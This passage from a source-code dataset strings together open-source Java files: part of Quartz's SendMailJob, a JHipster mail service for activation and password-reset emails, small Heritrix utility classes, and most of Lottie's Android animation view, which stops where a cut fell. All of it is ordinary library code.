smtpProperties.put(key, data.getString(key)); } } if (mailInfo.getSmtpProperties() == null) { mailInfo.setSmtpProperties(smtpProperties); } else { mailInfo.getSmtpProperties().putAll(smtpProperties); } return mailInfo; } protected String getRequiredParm(JobDataMap data, String property, String constantName) { String value = getOptionalParm(data, property); if (value == null) { throw new IllegalArgumentException(constantName + " not specified."); } return value; } protected String getOptionalParm(JobDataMap data, String property) { String value = data.getString(property); if ((value != null) && (value.trim().length() == 0)) { return null; } return value; } protected static class MailInfo { private String smtpHost; private String to; private String from; private String subject; private String message; private String replyTo; private String cc; private String contentType; private String username; private String password; private Properties smtpProperties; @Override public String toString() { return "'" + getSubject() + "' to: " + getTo(); } public String getCc() { return cc; } public void setCc(String cc) { this.cc = cc; } public String getContentType() { return contentType; } public void setContentType(String contentType) { this.contentType = contentType; } public String getFrom() { return from; } public void setFrom(String from) { this.from = from; } public String getMessage() { return message; } public void setMessage(String message) { this.message = message; } public String getReplyTo() { return replyTo; } public void setReplyTo(String replyTo) { this.replyTo = replyTo; } public String getSmtpHost() { return smtpHost; } public void setSmtpHost(String smtpHost) { this.smtpHost = smtpHost; } public String getSubject() { return subject; } public void setSubject(String subject) { this.subject = subject; } public String getTo() { return to; } public void setTo(String to) { this.to = to; } public Properties getSmtpProperties() { return smtpProperties; } public void setSmtpProperties(Properties smtpProperties) { this.smtpProperties = smtpProperties; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } } }
quartz-scheduler/quartz
quartz-jobs/src/main/java/org/quartz/jobs/ee/mail/SendMailJob.java
41,064
package com.baeldung.jhipster.uaa.service; import com.baeldung.jhipster.uaa.domain.User; import io.github.jhipster.config.JHipsterProperties; import java.nio.charset.StandardCharsets; import java.util.Locale; import javax.mail.internet.MimeMessage; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.context.MessageSource; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.scheduling.annotation.Async; import org.springframework.stereotype.Service; import org.thymeleaf.context.Context; import org.thymeleaf.spring5.SpringTemplateEngine; /** * Service for sending emails. * <p> * We use the @Async annotation to send emails asynchronously. */ @Service public class MailService { private final Logger log = LoggerFactory.getLogger(MailService.class); private static final String USER = "user"; private static final String BASE_URL = "baseUrl"; private final JHipsterProperties jHipsterProperties; private final JavaMailSender javaMailSender; private final MessageSource messageSource; private final SpringTemplateEngine templateEngine; public MailService(JHipsterProperties jHipsterProperties, JavaMailSender javaMailSender, MessageSource messageSource, SpringTemplateEngine templateEngine) { this.jHipsterProperties = jHipsterProperties; this.javaMailSender = javaMailSender; this.messageSource = messageSource; this.templateEngine = templateEngine; } @Async public void sendEmail(String to, String subject, String content, boolean isMultipart, boolean isHtml) { log.debug("Send email[multipart '{}' and html '{}'] to '{}' with subject '{}' and content={}", isMultipart, isHtml, to, subject, content); // Prepare message using a Spring helper MimeMessage mimeMessage = javaMailSender.createMimeMessage(); try { MimeMessageHelper message = new MimeMessageHelper(mimeMessage, isMultipart, StandardCharsets.UTF_8.name()); message.setTo(to); message.setFrom(jHipsterProperties.getMail().getFrom()); message.setSubject(subject); message.setText(content, isHtml); javaMailSender.send(mimeMessage); log.debug("Sent email to User '{}'", to); } catch (Exception e) { if (log.isDebugEnabled()) { log.warn("Email could not be sent to user '{}'", to, e); } else { log.warn("Email could not be sent to user '{}': {}", to, e.getMessage()); } } } @Async public void sendEmailFromTemplate(User user, String templateName, String titleKey) { Locale locale = Locale.forLanguageTag(user.getLangKey()); Context context = new Context(locale); context.setVariable(USER, user); context.setVariable(BASE_URL, jHipsterProperties.getMail().getBaseUrl()); String content = templateEngine.process(templateName, context); String subject = messageSource.getMessage(titleKey, null, locale); sendEmail(user.getEmail(), subject, content, false, true); } @Async public void sendActivationEmail(User user) { log.debug("Sending activation email to '{}'", user.getEmail()); sendEmailFromTemplate(user, "mail/activationEmail", "email.activation.title"); } @Async public void sendCreationEmail(User user) { log.debug("Sending creation email to '{}'", user.getEmail()); sendEmailFromTemplate(user, "mail/creationEmail", "email.activation.title"); } @Async public void sendPasswordResetMail(User user) { log.debug("Sending password reset email to '{}'", user.getEmail()); sendEmailFromTemplate(user, "mail/passwordResetEmail", "email.reset.title"); } }
eugenp/tutorials
jhipster-modules/jhipster-uaa/uaa/src/main/java/com/baeldung/jhipster/uaa/service/MailService.java
41,065
/* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.archive.util.ms; import java.io.IOException; import java.util.List; import org.archive.io.SeekInputStream; public interface Entry { enum EntryType { ROOT, FILE, DIRECTORY }; String getName(); int getIndex(); Entry getPrevious() throws IOException; Entry getNext() throws IOException; Entry getChild() throws IOException; EntryType getType() throws IOException; List<Entry> list() throws IOException; SeekInputStream open() throws IOException; }
internetarchive/heritrix3
commons/src/main/java/org/archive/util/ms/Entry.java
41,066
/* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.archive.util.ms; public class Piece { private boolean unicode; private int charPosStart; private int charPosLimit; private int filePos; public Piece(int filePos, int start, int end, boolean unicode) { this.filePos = filePos; this.charPosStart = start; this.charPosLimit = end; this.unicode = unicode; } public int getFilePos() { return filePos; } public int getCharPosLimit() { return charPosLimit; } public int getCharPosStart() { return charPosStart; } public boolean isUnicode() { return unicode; } public String toString() { StringBuilder sb = new StringBuilder(); sb.append("Piece{filePos=").append(filePos); sb.append(" start=").append(charPosStart); sb.append(" end=").append(charPosLimit); sb.append(" unicode=").append(unicode); sb.append("}"); return sb.toString(); } public boolean contains(int charPos) { return (charPos >= charPosStart) && (charPos < charPosLimit); } }
internetarchive/heritrix3
commons/src/main/java/org/archive/util/ms/Piece.java
41,067
/* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.archive.util; /** * Class for optionally providing one instance of the parameterized * type. The one instance may be provided at construction, or by * overriding get() in subclasses, may be created on demand. * * @param <V> */ public class Supplier<V> { protected V instance; public Supplier() { super(); } public Supplier(V instance) { super(); this.instance = instance; } public V get() { return instance; } }
internetarchive/heritrix3
commons/src/main/java/org/archive/util/Supplier.java
41,068
package com.airbnb.lottie; import android.animation.Animator; import android.animation.ValueAnimator; import android.content.Context; import android.content.res.ColorStateList; import android.content.res.TypedArray; import android.graphics.Bitmap; import android.graphics.ColorFilter; import android.graphics.Typeface; import android.graphics.drawable.Drawable; import android.os.Build; import android.os.Parcel; import android.os.Parcelable; import android.text.TextUtils; import android.util.AttributeSet; import android.util.Log; import androidx.annotation.AttrRes; import androidx.annotation.DrawableRes; import androidx.annotation.FloatRange; import androidx.annotation.MainThread; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.annotation.RawRes; import androidx.annotation.RequiresApi; import androidx.appcompat.content.res.AppCompatResources; import androidx.appcompat.widget.AppCompatImageView; import com.airbnb.lottie.model.KeyPath; import com.airbnb.lottie.utils.Logger; import com.airbnb.lottie.utils.Utils; import com.airbnb.lottie.value.LottieFrameInfo; import com.airbnb.lottie.value.LottieValueCallback; import com.airbnb.lottie.value.SimpleLottieValueCallback; import java.io.ByteArrayInputStream; import java.io.InputStream; import java.lang.ref.WeakReference; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import java.util.zip.ZipInputStream; /** * This view will load, deserialize, and display an After Effects animation exported with * bodymovin (<a href="https://github.com/airbnb/lottie-web">github.com/airbnb/lottie-web</a>). * <p> * You may set the animation in one of two ways: * 1) Attrs: {@link R.styleable#LottieAnimationView_lottie_fileName} * 2) Programmatically: * {@link #setAnimation(String)} * {@link #setAnimation(int)} * {@link #setAnimation(InputStream, String)} * {@link #setAnimationFromJson(String, String)} * {@link #setAnimationFromUrl(String)} * {@link #setComposition(LottieComposition)} * <p> * You can set a default cache strategy with {@link R.attr#lottie_cacheComposition}. * <p> * You can manually set the progress of the animation with {@link #setProgress(float)} or * {@link R.attr#lottie_progress} * * @see <a href="http://airbnb.io/lottie">Full Documentation</a> */ @SuppressWarnings({"WeakerAccess", "unused"}) public class LottieAnimationView extends AppCompatImageView { private static final String TAG = LottieAnimationView.class.getSimpleName(); private static final LottieListener<Throwable> DEFAULT_FAILURE_LISTENER = throwable -> { // By default, fail silently for network errors. if (Utils.isNetworkException(throwable)) { Logger.warning("Unable to load composition.", throwable); return; } throw new IllegalStateException("Unable to parse composition", throwable); }; private final LottieListener<LottieComposition> loadedListener = new WeakSuccessListener(this); private static class WeakSuccessListener implements LottieListener<LottieComposition> { private final WeakReference<LottieAnimationView> targetReference; public WeakSuccessListener(LottieAnimationView target) { this.targetReference = new WeakReference<>(target); } @Override public void onResult(LottieComposition result) { LottieAnimationView targetView = targetReference.get(); if (targetView == null) { return; } targetView.setComposition(result); } } private final LottieListener<Throwable> wrappedFailureListener = new WeakFailureListener(this); private static class WeakFailureListener implements LottieListener<Throwable> { private final WeakReference<LottieAnimationView> targetReference; public WeakFailureListener(LottieAnimationView target) { this.targetReference = new WeakReference<>(target); } @Override public void onResult(Throwable result) { LottieAnimationView targetView = targetReference.get(); if (targetView == null) { return; } if (targetView.fallbackResource != 0) { targetView.setImageResource(targetView.fallbackResource); } LottieListener<Throwable> l = targetView.failureListener == null ? DEFAULT_FAILURE_LISTENER : targetView.failureListener; l.onResult(result); } } @Nullable private LottieListener<Throwable> failureListener; @DrawableRes private int fallbackResource = 0; private final LottieDrawable lottieDrawable = new LottieDrawable(); private String animationName; private @RawRes int animationResId; /** * When we set a new composition, we set LottieDrawable to null then back again so that ImageView re-checks its bounds. * However, this causes the drawable to get unscheduled briefly. Normally, we would pause the animation but in this case, we don't want to. */ private boolean ignoreUnschedule = false; private boolean autoPlay = false; private boolean cacheComposition = true; /** * Keeps track of explicit user actions taken and prevents onRestoreInstanceState from overwriting already set values. */ private final Set<UserActionTaken> userActionsTaken = new HashSet<>(); private final Set<LottieOnCompositionLoadedListener> lottieOnCompositionLoadedListeners = new HashSet<>(); @Nullable private LottieTask<LottieComposition> compositionTask; public LottieAnimationView(Context context) { super(context); init(null, R.attr.lottieAnimationViewStyle); } public LottieAnimationView(Context context, AttributeSet attrs) { super(context, attrs); init(attrs, R.attr.lottieAnimationViewStyle); } public LottieAnimationView(Context context, AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); init(attrs, defStyleAttr); } private void init(@Nullable AttributeSet attrs, @AttrRes int defStyleAttr) { TypedArray ta = getContext().obtainStyledAttributes(attrs, R.styleable.LottieAnimationView, defStyleAttr, 0); cacheComposition = ta.getBoolean(R.styleable.LottieAnimationView_lottie_cacheComposition, true); boolean hasRawRes = ta.hasValue(R.styleable.LottieAnimationView_lottie_rawRes); boolean hasFileName = ta.hasValue(R.styleable.LottieAnimationView_lottie_fileName); boolean hasUrl = ta.hasValue(R.styleable.LottieAnimationView_lottie_url); if (hasRawRes && hasFileName) { throw new IllegalArgumentException("lottie_rawRes and lottie_fileName cannot be used at " + "the same time. Please use only one at once."); } else if (hasRawRes) { int rawResId = ta.getResourceId(R.styleable.LottieAnimationView_lottie_rawRes, 0); if (rawResId != 0) { setAnimation(rawResId); } } else if (hasFileName) { String fileName = ta.getString(R.styleable.LottieAnimationView_lottie_fileName); if (fileName != null) { setAnimation(fileName); } } else if (hasUrl) { String url = ta.getString(R.styleable.LottieAnimationView_lottie_url); if (url != null) { setAnimationFromUrl(url); } } setFallbackResource(ta.getResourceId(R.styleable.LottieAnimationView_lottie_fallbackRes, 0)); if (ta.getBoolean(R.styleable.LottieAnimationView_lottie_autoPlay, false)) { autoPlay = true; } if (ta.getBoolean(R.styleable.LottieAnimationView_lottie_loop, false)) { lottieDrawable.setRepeatCount(LottieDrawable.INFINITE); } if (ta.hasValue(R.styleable.LottieAnimationView_lottie_repeatMode)) { setRepeatMode(ta.getInt(R.styleable.LottieAnimationView_lottie_repeatMode, LottieDrawable.RESTART)); } if (ta.hasValue(R.styleable.LottieAnimationView_lottie_repeatCount)) { setRepeatCount(ta.getInt(R.styleable.LottieAnimationView_lottie_repeatCount, LottieDrawable.INFINITE)); } if (ta.hasValue(R.styleable.LottieAnimationView_lottie_speed)) { setSpeed(ta.getFloat(R.styleable.LottieAnimationView_lottie_speed, 1f)); } if (ta.hasValue(R.styleable.LottieAnimationView_lottie_clipToCompositionBounds)) { setClipToCompositionBounds(ta.getBoolean(R.styleable.LottieAnimationView_lottie_clipToCompositionBounds, true)); } if (ta.hasValue(R.styleable.LottieAnimationView_lottie_clipTextToBoundingBox)) { setClipTextToBoundingBox(ta.getBoolean(R.styleable.LottieAnimationView_lottie_clipTextToBoundingBox, false)); } if (ta.hasValue(R.styleable.LottieAnimationView_lottie_defaultFontFileExtension)) { setDefaultFontFileExtension(ta.getString(R.styleable.LottieAnimationView_lottie_defaultFontFileExtension)); } setImageAssetsFolder(ta.getString(R.styleable.LottieAnimationView_lottie_imageAssetsFolder)); boolean hasProgress = ta.hasValue(R.styleable.LottieAnimationView_lottie_progress); setProgressInternal(ta.getFloat(R.styleable.LottieAnimationView_lottie_progress, 0f), hasProgress); enableMergePathsForKitKatAndAbove(ta.getBoolean( R.styleable.LottieAnimationView_lottie_enableMergePathsForKitKatAndAbove, false)); if (ta.hasValue(R.styleable.LottieAnimationView_lottie_colorFilter)) { int colorRes = ta.getResourceId(R.styleable.LottieAnimationView_lottie_colorFilter, -1); ColorStateList csl = AppCompatResources.getColorStateList(getContext(), colorRes); SimpleColorFilter filter = new SimpleColorFilter(csl.getDefaultColor()); KeyPath keyPath = new KeyPath("**"); LottieValueCallback<ColorFilter> callback = new LottieValueCallback<>(filter); addValueCallback(keyPath, LottieProperty.COLOR_FILTER, callback); } if (ta.hasValue(R.styleable.LottieAnimationView_lottie_renderMode)) { int renderModeOrdinal = ta.getInt(R.styleable.LottieAnimationView_lottie_renderMode, RenderMode.AUTOMATIC.ordinal()); if (renderModeOrdinal >= RenderMode.values().length) { renderModeOrdinal = RenderMode.AUTOMATIC.ordinal(); } setRenderMode(RenderMode.values()[renderModeOrdinal]); } if (ta.hasValue(R.styleable.LottieAnimationView_lottie_asyncUpdates)) { int asyncUpdatesOrdinal = ta.getInt(R.styleable.LottieAnimationView_lottie_asyncUpdates, AsyncUpdates.AUTOMATIC.ordinal()); if (asyncUpdatesOrdinal >= RenderMode.values().length) { asyncUpdatesOrdinal = AsyncUpdates.AUTOMATIC.ordinal(); } setAsyncUpdates(AsyncUpdates.values()[asyncUpdatesOrdinal]); } setIgnoreDisabledSystemAnimations( ta.getBoolean( R.styleable.LottieAnimationView_lottie_ignoreDisabledSystemAnimations, false ) ); if (ta.hasValue(R.styleable.LottieAnimationView_lottie_useCompositionFrameRate)) { setUseCompositionFrameRate(ta.getBoolean(R.styleable.LottieAnimationView_lottie_useCompositionFrameRate, false)); } ta.recycle(); lottieDrawable.setSystemAnimationsAreEnabled(Utils.getAnimationScale(getContext()) != 0f); } @Override public void setImageResource(int resId) { this.animationResId = 0; animationName = null; cancelLoaderTask(); super.setImageResource(resId); } @Override public void setImageDrawable(Drawable drawable) { this.animationResId = 0; animationName = null; cancelLoaderTask(); super.setImageDrawable(drawable); } @Override public void setImageBitmap(Bitmap bm) { this.animationResId = 0; animationName = null; cancelLoaderTask(); super.setImageBitmap(bm); } @Override public void unscheduleDrawable(Drawable who) { if (!ignoreUnschedule && who == lottieDrawable && lottieDrawable.isAnimating()) { pauseAnimation(); } else if (!ignoreUnschedule && who instanceof LottieDrawable && ((LottieDrawable) who).isAnimating()) { ((LottieDrawable) who).pauseAnimation(); } super.unscheduleDrawable(who); } @Override public void invalidate() { super.invalidate(); Drawable d = getDrawable(); if (d instanceof LottieDrawable && ((LottieDrawable) d).getRenderMode() == RenderMode.SOFTWARE) { // This normally isn't needed. However, when using software rendering, Lottie caches rendered bitmaps // and updates it when the animation changes internally. // If you have dynamic properties with a value callback and want to update the value of the dynamic property, you need a way // to tell Lottie that the bitmap is dirty and it needs to be re-rendered. Normal drawables always re-draw the actual shapes // so this isn't an issue but for this path, we have to take the extra step of setting the dirty flag. lottieDrawable.invalidateSelf(); } } @Override public void invalidateDrawable(@NonNull Drawable dr) { if (getDrawable() == lottieDrawable) { // We always want to invalidate the root drawable so it redraws the whole drawable. // Eventually it would be great to be able to invalidate just the changed region. super.invalidateDrawable(lottieDrawable); } else { // Otherwise work as regular ImageView super.invalidateDrawable(dr); } } @Override protected Parcelable onSaveInstanceState() { Parcelable superState = super.onSaveInstanceState(); SavedState ss = new SavedState(superState); ss.animationName = animationName; ss.animationResId = animationResId; ss.progress = lottieDrawable.getProgress(); ss.isAnimating = lottieDrawable.isAnimatingOrWillAnimateOnVisible(); ss.imageAssetsFolder = lottieDrawable.getImageAssetsFolder(); ss.repeatMode = lottieDrawable.getRepeatMode(); ss.repeatCount = lottieDrawable.getRepeatCount(); return ss; } @Override protected void onRestoreInstanceState(Parcelable state) { if (!(state instanceof SavedState)) { super.onRestoreInstanceState(state); return; } SavedState ss = (SavedState) state; super.onRestoreInstanceState(ss.getSuperState()); animationName = ss.animationName; if (!userActionsTaken.contains(UserActionTaken.SET_ANIMATION) && !TextUtils.isEmpty(animationName)) { setAnimation(animationName); } animationResId = ss.animationResId; if (!userActionsTaken.contains(UserActionTaken.SET_ANIMATION) && animationResId != 0) { setAnimation(animationResId); } if (!userActionsTaken.contains(UserActionTaken.SET_PROGRESS)) { setProgressInternal(ss.progress, false); } if (!userActionsTaken.contains(UserActionTaken.PLAY_OPTION) && ss.isAnimating) { playAnimation(); } if (!userActionsTaken.contains(UserActionTaken.SET_IMAGE_ASSETS)) { setImageAssetsFolder(ss.imageAssetsFolder); } if (!userActionsTaken.contains(UserActionTaken.SET_REPEAT_MODE)) { setRepeatMode(ss.repeatMode); } if (!userActionsTaken.contains(UserActionTaken.SET_REPEAT_COUNT)) { setRepeatCount(ss.repeatCount); } } @Override protected void onAttachedToWindow() { super.onAttachedToWindow(); if (!isInEditMode() && autoPlay) { lottieDrawable.playAnimation(); } } /** * Allows ignoring system animations settings, therefore allowing animations to run even if they are disabled. * <p> * Defaults to false. * * @param ignore if true animations will run even when they are disabled in the system settings. */ public void setIgnoreDisabledSystemAnimations(boolean ignore) { lottieDrawable.setIgnoreDisabledSystemAnimations(ignore); } /** * Lottie files can specify a target frame rate. By default, Lottie ignores it and re-renders * on every frame. If that behavior is undesirable, you can set this to true to use the composition * frame rate instead. * <p> * Note: composition frame rates are usually lower than display frame rates * so this will likely make your animation feel janky. However, it may be desirable * for specific situations such as pixel art that are intended to have low frame rates. */ public void setUseCompositionFrameRate(boolean useCompositionFrameRate) { lottieDrawable.setUseCompositionFrameRate(useCompositionFrameRate); } /** * Enable this to get merge path support for devices running KitKat (19) and above. * <p> * Merge paths currently don't work if the the operand shape is entirely contained within the * first shape. If you need to cut out one shape from another shape, use an even-odd fill type * instead of using merge paths. */ public void enableMergePathsForKitKatAndAbove(boolean enable) { lottieDrawable.enableMergePathsForKitKatAndAbove(enable); } /** * Returns whether merge paths are enabled for KitKat and above. */ public boolean isMergePathsEnabledForKitKatAndAbove() { return lottieDrawable.isMergePathsEnabledForKitKatAndAbove(); } /** * Sets whether or not Lottie should clip to the original animation composition bounds. * <p> * When set to true, the parent view may need to disable clipChildren so Lottie can render outside of the LottieAnimationView bounds. * <p> * Defaults to true. */ public void setClipToCompositionBounds(boolean clipToCompositionBounds) { lottieDrawable.setClipToCompositionBounds(clipToCompositionBounds); } /** * Gets whether or not Lottie should clip to the original animation composition bounds. * <p> * Defaults to true. */ public boolean getClipToCompositionBounds() { return lottieDrawable.getClipToCompositionBounds(); } /** * If set to true, all future compositions that are set will be cached so that they don't need to be parsed * next time they are loaded. This won't apply to compositions that have already been loaded. * <p> * Defaults to true. * <p> * {@link R.attr#lottie_cacheComposition} */ public void setCacheComposition(boolean cacheComposition) { this.cacheComposition = cacheComposition; } /** * Enable this to debug slow animations by outlining masks and mattes. The performance overhead of the masks and mattes will * be proportional to the surface area of all of the masks/mattes combined. * <p> * DO NOT leave this enabled in production. */ public void setOutlineMasksAndMattes(boolean outline) { lottieDrawable.setOutlineMasksAndMattes(outline); } /** * Sets the animation from a file in the raw directory. * This will load and deserialize the file asynchronously. */ public void setAnimation(@RawRes final int rawRes) { this.animationResId = rawRes; animationName = null; setCompositionTask(fromRawRes(rawRes)); } private LottieTask<LottieComposition> fromRawRes(@RawRes final int rawRes) { if (isInEditMode()) { return new LottieTask<>(() -> cacheComposition ? LottieCompositionFactory.fromRawResSync(getContext(), rawRes) : LottieCompositionFactory.fromRawResSync(getContext(), rawRes, null), true); } else { return cacheComposition ? LottieCompositionFactory.fromRawRes(getContext(), rawRes) : LottieCompositionFactory.fromRawRes(getContext(), rawRes, null); } } public void setAnimation(final String assetName) { this.animationName = assetName; animationResId = 0; setCompositionTask(fromAssets(assetName)); } private LottieTask<LottieComposition> fromAssets(final String assetName) { if (isInEditMode()) { return new LottieTask<>(() -> cacheComposition ? LottieCompositionFactory.fromAssetSync(getContext(), assetName) : LottieCompositionFactory.fromAssetSync(getContext(), assetName, null), true); } else { return cacheComposition ? LottieCompositionFactory.fromAsset(getContext(), assetName) : LottieCompositionFactory.fromAsset(getContext(), assetName, null); } } /** * @see #setAnimationFromJson(String, String) */ @Deprecated public void setAnimationFromJson(String jsonString) { setAnimationFromJson(jsonString, null); } /** * Sets the animation from json string. This is the ideal API to use when loading an animation * over the network because you can use the raw response body here and a conversion to a * JSONObject never has to be done. */ public void setAnimationFromJson(String jsonString, @Nullable String cacheKey) { setAnimation(new ByteArrayInputStream(jsonString.getBytes()), cacheKey); } /** * Sets the animation from an arbitrary InputStream. * This will load and deserialize the file asynchronously. * <p> * If this is a Zip file, wrap your InputStream with a ZipInputStream to use the overload * designed for zip files. * <p> * This is particularly useful for animations loaded from the network. You can fetch the * bodymovin json from the network and pass it directly here. * <p> * Auto-closes the stream. */ public void setAnimation(InputStream stream, @Nullable String cacheKey) { setCompositionTask(LottieCompositionFactory.fromJsonInputStream(stream, cacheKey)); } /** * Sets the animation from a ZipInputStream. * This will load and deserialize the file asynchronously. * <p> * This is particularly useful for animations loaded from the network. You can fetch the * bodymovin json from the network and pass it directly here. * <p> * Auto-closes the stream. */ public void setAnimation(ZipInputStream stream, @Nullable String cacheKey) { setCompositionTask(LottieCompositionFactory.fromZipStream(stream, cacheKey)); } /** * Load a lottie animation from a url. The url can be a json file or a zip file. Use a zip file if you have images. Simply zip them together and * lottie * will unzip and link the images automatically. * <p> * Under the hood, Lottie uses Java HttpURLConnection because it doesn't require any transitive networking dependencies. It will download the file * to the application cache under a temporary name. If the file successfully parses to a composition, it will rename the temporary file to one that * can be accessed immediately for subsequent requests. If the file does not parse to a composition, the temporary file will be deleted. * <p> * You can replace the default network stack or cache handling with a global {@link LottieConfig} * * @see LottieConfig.Builder * @see Lottie#initialize(LottieConfig) */ public void setAnimationFromUrl(String url) { LottieTask<LottieComposition> task = cacheComposition ? LottieCompositionFactory.fromUrl(getContext(), url) : LottieCompositionFactory.fromUrl(getContext(), url, null); setCompositionTask(task); } /** * Load a lottie animation from a url. The url can be a json file or a zip file. Use a zip file if you have images. Simply zip them together and * lottie * will unzip and link the images automatically. * <p> * Under the hood, Lottie uses Java HttpURLConnection because it doesn't require any transitive networking dependencies. It will download the file * to the application cache under a temporary name. If the file successfully parses to a composition, it will rename the temporary file to one that * can be accessed immediately for subsequent requests. If the file does not parse to a composition, the temporary file will be deleted. * <p> * You can replace the default network stack or cache handling with a global {@link LottieConfig} * * @see LottieConfig.Builder * @see Lottie#initialize(LottieConfig) */ public void setAnimationFromUrl(String url, @Nullable String cacheKey) { LottieTask<LottieComposition> task = LottieCompositionFactory.fromUrl(getContext(), url, cacheKey); setCompositionTask(task); } /** * Set a default failure listener that will be called if any of the setAnimation APIs fail for any reason. * This can be used to replace the default behavior. * <p> * The default behavior will log any network errors and rethrow all other exceptions. * <p> * If you are loading an animation from the network, errors may occur if your user has no internet. * You can use this listener to retry the download or you can have it default to an error drawable * with {@link #setFallbackResource(int)}. * <p> * Unless you are using {@link #setAnimationFromUrl(String)}, errors are unexpected. * <p> * Set the listener to null to revert to the default behavior. */ public void setFailureListener(@Nullable LottieListener<Throwable> failureListener) { this.failureListener = failureListener; } /** * Set a drawable that will be rendered if the LottieComposition fails to load for any reason. * Unless you are using {@link #setAnimationFromUrl(String)}, this is an unexpected error and * you should handle it with {@link #setFailureListener(LottieListener)}. * <p> * If this is a network animation, you may use this to show an error to the user or * you can use a failure listener to retry the download. */ public void setFallbackResource(@DrawableRes int fallbackResource) { this.fallbackResource = fallbackResource; } private void setCompositionTask(LottieTask<LottieComposition> compositionTask) { LottieResult<LottieComposition> result = compositionTask.getResult(); LottieDrawable lottieDrawable = this.lottieDrawable; if (result != null && lottieDrawable == getDrawable() && lottieDrawable.getComposition() == result.getValue()) { return; } userActionsTaken.add(UserActionTaken.SET_ANIMATION); clearComposition(); cancelLoaderTask(); this.compositionTask = compositionTask .addListener(loadedListener) .addFailureListener(wrappedFailureListener); } private void cancelLoaderTask() { if (compositionTask != null) { compositionTask.removeListener(loadedListener); compositionTask.removeFailureListener(wrappedFailureListener); } } /** * Sets a composition. * You can set a default cache strategy if this view was inflated with xml by * using {@link R.attr#lottie_cacheComposition}. */ public void setComposition(@NonNull LottieComposition composition) { if (L.DBG) { Log.v(TAG, "Set Composition \n" + composition); } lottieDrawable.setCallback(this); ignoreUnschedule = true; boolean isNewComposition = lottieDrawable.setComposition(composition); if (autoPlay) { lottieDrawable.playAnimation(); } ignoreUnschedule = false; if (getDrawable() == lottieDrawable && !isNewComposition) { // We can avoid re-setting the drawable, and invalidating the view, since the composition // hasn't changed. return; } else if (!isNewComposition) { // The current drawable isn't lottieDrawable but the drawable already has the right composition. setLottieDrawable(); } // This is needed to makes sure that the animation is properly played/paused for the current visibility state. // It is possible that the drawable had a lazy composition task to play the animation but this view subsequently // became invisible. Comment this out and run the espresso tests to see a failing test. onVisibilityChanged(this, getVisibility()); requestLayout(); for (LottieOnCompositionLoadedListener lottieOnCompositionLoadedListener : lottieOnCompositionLoadedListeners) { lottieOnCompositionLoadedListener.onCompositionLoaded(composition); } } @Nullable public LottieComposition getComposition() { return getDrawable() == lottieDrawable ? lottieDrawable.getComposition() : null; } /** * Returns whether or not any layers in this composition has masks. */ public boolean hasMasks() { return lottieDrawable.hasMasks(); } /** * Returns whether or not any layers in this composition has a matte layer. */ public boolean hasMatte() { return lottieDrawable.hasMatte(); } /** * Plays the animation from the beginning. If speed is {@literal <} 0, it will start at the end * and play towards the beginning */ @MainThread public void playAnimation() { userActionsTaken.add(UserActionTaken.PLAY_OPTION); lottieDrawable.playAnimation(); } /** * Continues playing the animation from its current position. If speed {@literal <} 0, it will play backwards * from the current position. */ @MainThread public void resumeAnimation() { userActionsTaken.add(UserActionTaken.PLAY_OPTION); lottieDrawable.resumeAnimation(); } /** * Sets the minimum frame that the animation will start from when playing or looping. */ public void setMinFrame(int startFrame) { lottieDrawable.setMinFrame(startFrame); } /** * Returns the minimum frame set by {@link #setMinFrame(int)} or {@link #setMinProgress(float)} */ public float getMinFrame() { return lottieDrawable.getMinFrame(); } /** * Sets the minimum progress that the animation will start from when playing or looping. */ public void setMinProgress(float startProgress) { lottieDrawable.setMinProgress(startProgress); } /** * Sets the maximum frame that the animation will end at when playing or looping. * <p> * The value will be clamped to the composition bounds. For example, setting Integer.MAX_VALUE would result in the same * thing as composition.endFrame. */ public void setMaxFrame(int endFrame) { lottieDrawable.setMaxFrame(endFrame); } /** * Returns the maximum frame set by {@link #setMaxFrame(int)} or {@link #setMaxProgress(float)} */ public float getMaxFrame() { return lottieDrawable.getMaxFrame(); } /** * Sets the maximum progress that the animation will end at when playing or looping. */ public void setMaxProgress(@FloatRange(from = 0f, to = 1f) float endProgress) { lottieDrawable.setMaxProgress(endProgress); } /** * Sets the minimum frame to the start time of the specified marker. * * @throws IllegalArgumentException if the marker is not found. */ public void setMinFrame(String markerName) { lottieDrawable.setMinFrame(markerName); } /** * Sets the maximum frame to the start time + duration of the specified marker. * * @throws IllegalArgumentException if the marker is not found. */ public void setMaxFrame(String markerName) { lottieDrawable.setMaxFrame(markerName); } /** * Sets the minimum and maximum frame to the start time and start time + duration * of the specified marker. * * @throws IllegalArgumentException if the marker is not found. */ public void setMinAndMaxFrame(String markerName) { lottieDrawable.setMinAndMaxFrame(markerName); } /** * Sets the minimum and maximum frame to the start marker start and the maximum frame to the end marker start. * playEndMarkerStartFrame 